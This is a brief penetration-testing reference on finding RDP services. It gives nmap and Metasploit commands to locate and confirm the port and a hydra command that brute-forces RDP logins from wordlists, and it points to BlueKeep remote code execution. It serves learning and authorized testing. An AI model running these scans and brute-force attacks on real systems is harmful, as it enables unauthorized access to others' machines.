RDP enumeration

RDP is frequently moved off its default port (3389) by admins specifically to cut down on drive-by brute-forcing, so a full port sweep matters more here than for most services.

Find and confirm RDP

nmap -sS -sV -p- <target_ip>       # scan the entire TCP range

Once you find the port, confirm it’s actually RDP in msfconsole:

use auxiliary/scanner/rdp/rdp_scanner
set RPORT <target_port>
run

Brute-force

hydra -L users.txt -P passwords.txt rdp://<target_ip> -s <target_port>

Related

• xfreerdp: connect once you have credentials
• RDP exploitation: brute-force, BlueKeep and enabling RDP post-exploitation
• BlueKeep (CVE-2019-0708): pre-auth RCE on unpatched RDP
• Hydra: brute-forcing logins across protocols
• Nmap: full-range port scanning